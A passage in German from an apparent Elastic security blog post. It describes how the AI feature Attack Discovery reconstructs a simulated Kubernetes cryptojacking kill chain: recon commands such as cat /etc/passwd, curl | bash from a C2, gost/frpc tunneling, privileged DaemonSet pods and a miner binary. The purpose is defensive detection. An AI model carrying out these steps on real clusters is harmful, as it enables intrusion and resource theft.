Hier kommt die Angriffserkennung ins Spiel. Attack Discovery ist die generative KI-Funktion von Elastic, die eine Reihe von Warnmeldungen aufnimmt und diese automatisch zu zusammenhängenden Angriffsszenarien verknüpft. Anstatt den Analysten zu zwingen, manuell zwischen einzelnen Warnmeldungen hin und her zu wechseln, identifiziert es, welche Signale zusammengehören, und ordnet sie dem MITRE ATT&CK-Framework zu, wodurch eine einzige, übersichtliche Zusammenfassung des Geschehens entsteht.

Bei Anzeige der von dieser Simulation generierten Warnmeldungen rekonstruierte Attack Discovery die gesamte TeamPCP-Kill-Chain korrekt als „Container Cryptojacking Attack Chain“. Die Zusammenfassung ergab Folgendes:

  • Erster Zugriff: Ausnutzung eines Webservers auf dem Opferknoten, wobei busybox von python3.11 ausging und Aufklärungsbefehle (id, whoami, uname -a, cat /etc/passwd) ausführte.
  • Privilegieneskalation: Der system:serviceaccount:kube-system:daemon-set-controller erstellt hochprivilegierte Pods mit HostPID, HostNetwork, privilegiertem Modus und sensiblen hostPath -Volume-Mounts.
  • Abwehrmaßnahmen: Bereinigung konkurrierender Kryptominer mittels pkill -9 xmrig und pkill -9 XMRig sowie Base64-kodierter Python-Payloads
  • Tool-Staging: Installation des Laufzeitpakets (apk, curl, bash, python3) und Download des schädlichen Skripts über curl vom simulierten C2-Server
  • C2-Infrastruktur: Bereitstellung der Tunneling-Tools gost und frpc unter /opt/teampcp, mit einem SOCKS5-Proxy, der auf Port 1081 lauscht.
  • Auswirkung: Eine dekodierte und inszenierte /tmp/miner -Binärdatei: das Ziel des Kryptojackings

Die Visualisierung der Angriffskette bildet die korrelierten Warnmeldungen entlang der gesamten MITRE ATT&CK-Kill-Chain ab, vom ersten Zugriff bis zur Auswirkung, mit bestätigten Aktivitäten in den Bereichen Ausführung, Rechteausweitung, Verteidigungsumgehung, Entdeckung und Befehls- und Kontrollwesen.

Das ist der Nutzen der Kombination von D4C-Laufzeittelemetrie mit Kubernetes-Audit-Logs. Keine der beiden Datenquellen allein würde dieses Bild erzeugen: Die Container-Laufzeitumgebung sieht den curl | bash, den gost Prozess und die Miner-Binärdatei, während die Audit-Logs die DaemonSet-Erstellung, den RBAC-Missbrauch und die API-Enumeration erfassen. Attack Discovery führt beides zu einer einzigen Darstellung zusammen, auf die ein SOC-Analyst sofort reagieren kann, ohne Warnmeldungen aus verschiedenen Indizes und Zeiträumen manuell zusammenfügen zu müssen.

Fazit

Entlang dieser Angriffskette konnten wir ein einheitliches Muster feststellen. Die interaktive Ausführung innerhalb von Containern führte zur Entdeckung der Umgebung, zur lateralen Bewegung über Kubernetes-APIs, zu Versuchen der Persistenz an Orten, die nicht mit dem Containerdesign vereinbar sind, zur Installation von Laufzeittools, zu Tunneling-Aktivitäten, zur Rekonstruktion kodierter Nutzdaten und schließlich zur Monetarisierung von Ressourcen. Jedes Ziel erzeugte unterschiedliche Laufzeitsignale.

Der Wert von Defend for Containers liegt darin, diese Signale zusammen mit dem Container- und Orchestrierungskontext sichtbar zu machen. Prozessherkunft, Metadaten zu Fähigkeiten, interaktive Ausführungsflags, Telemetriedaten zu Dateimodifikationen und Containeridentität ermöglichen es, dass die Erkennung über einfache Befehlsübereinstimmungen hinausgeht und stattdessen Absicht und Auswirkungen berücksichtigt.

Dieses Szenario verdeutlicht auch eine wichtige architektonische Grenze. Während D4C eine umfassende Laufzeittransparenz innerhalb von Containern bietet, erfordern bestimmte Eskalationsschritte, wie die Erstellung privilegierter Workloads oder die Manipulation der Steuerungsebene, Kubernetes-Audit-Log-Telemetrie für eine vollständige Transparenz. Eine effektive Cloud-native Erkennung hängt daher von der Kombination von Laufzeit- und Steuerungsebenen-Datenquellen ab.

In der nächsten Phase dieser Reihe werden wir dieses Modell über die Containergrenze hinaus erweitern und die Erkennungstechnik der Kubernetes-Steuerungsebene untersuchen. Dabei werden Audit-Logs mit D4C-Laufzeitereignissen korreliert, um mehrstufige Angriffe zu erkennen, die sich über Workloads, Knoten und den Cluster selbst erstrecken.